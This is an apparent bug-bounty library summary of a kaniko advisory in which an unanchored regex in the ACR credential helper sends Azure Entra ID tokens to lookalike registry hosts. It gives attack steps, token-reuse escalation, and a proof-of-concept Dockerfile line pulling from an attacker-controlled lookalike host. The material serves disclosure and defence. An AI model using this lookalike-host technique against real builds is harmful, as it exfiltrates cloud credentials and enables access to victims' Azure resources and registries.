# kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

kaniko's ACR credential helper used an unanchored regex, so a Dockerfile FROM on a lookalike host like x.azurecr.io.attacker.com leaked a live Entra ID ARM token.

- Payout: Research
- Severity: critical
- Program: kaniko
- Found by (vendor credit): Martin Zihlmann (mzihlmann) of osscontainertools
- Found by: mzihlmann
- Disclosed: 2026-11-05
- CVE: CVE-2026-105769
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5q7h-w9jf-cx97
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5q7h-w9jf-cx97
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:ghsa sev:critical tech:azure tech:docker tech:go technique:source-review vuln:misconfiguration vuln:secrets-leak

**Target:** ACR credential helper (docker-credential-acr-env) in kaniko executor/warmer
**Root cause:** The ACR credential helper validated registry hosts with an unanchored regex matching any hostname containing `.azurecr.io` (or .cn/.de/.us), so attacker-controlled lookalike domains passed as ACR registries. kaniko consults the built-in helper for any registry lacking Docker config credentials, then POSTs the Entra ID token to that host.
**Steps:**
1. Build a Dockerfile with `FROM x.azurecr.io.attacker.com/img` (no RUN, no push needed)
2. Ensure the build environment has an Azure identity: service principal env vars, `AZURE_FEDERATED_TOKEN`, managed identity via IMDS, or `MSI_ENDPOINT`
3. kaniko finds no credentials for the host in Docker config and is not GCR/ECR, so it invokes the built-in ACR helper
4. Helper's unanchored regex matches `.azurecr.io` inside the attacker hostname and requests an ARM token
5. Helper POSTs to `https://<host>/oauth2/exchange` with the token in `Authorization: Bearer` header and `access_token` form field
6. Attacker-controlled host receives a live Azure Resource Manager access token
**How found:** Reporter examined the upstream docker-credential-acr-env helper's host-matching logic and noticed the regex was unanchored, then traced how kaniko invokes the helper for any non-GCR/ECR registry without stored credentials.
**Exploitation:** Attacker controls a lookalike registry hostname and gets a victim to build an untrusted Dockerfile referencing it. kaniko requests credentials before contacting the registry, so the attacker server need not challenge for auth; it simply captures the bearer token from the /oauth2/exchange POST. The token is then used directly against Azure Resource Manager per the identity's role assignments, or exchanged at a real ACR's /oauth2/exchange to obtain registry credentials; with AcrPush or higher the attacker can push images to victim registries.
**Escalation:** Token reuse beyond the build: ARM operations under the identity's roles, ACR credential exchange, and image pushes to accessible registries; leaked token remains valid until expiry and is not revoked by credential rotation.
**Insight:** Credential helpers that gate secret release on hostname matching are a token-exfiltration surface: check whether the match is anchored and whether the tool calls the helper before the registry proves it is the real service. Lookalike domains embedding the trusted suffix (x.azurecr.io.attacker.com) defeat naive substring/regex checks.

## Proof of concept (copied exactly from the original report)

**Lookalike ACR host in FROM line**

```
A Dockerfile that references an image on a lookalike host, such as `FROM x.azurecr.io.attacker.com/img`, is enough. The build needs no `RUN` instruction and never has to push.
```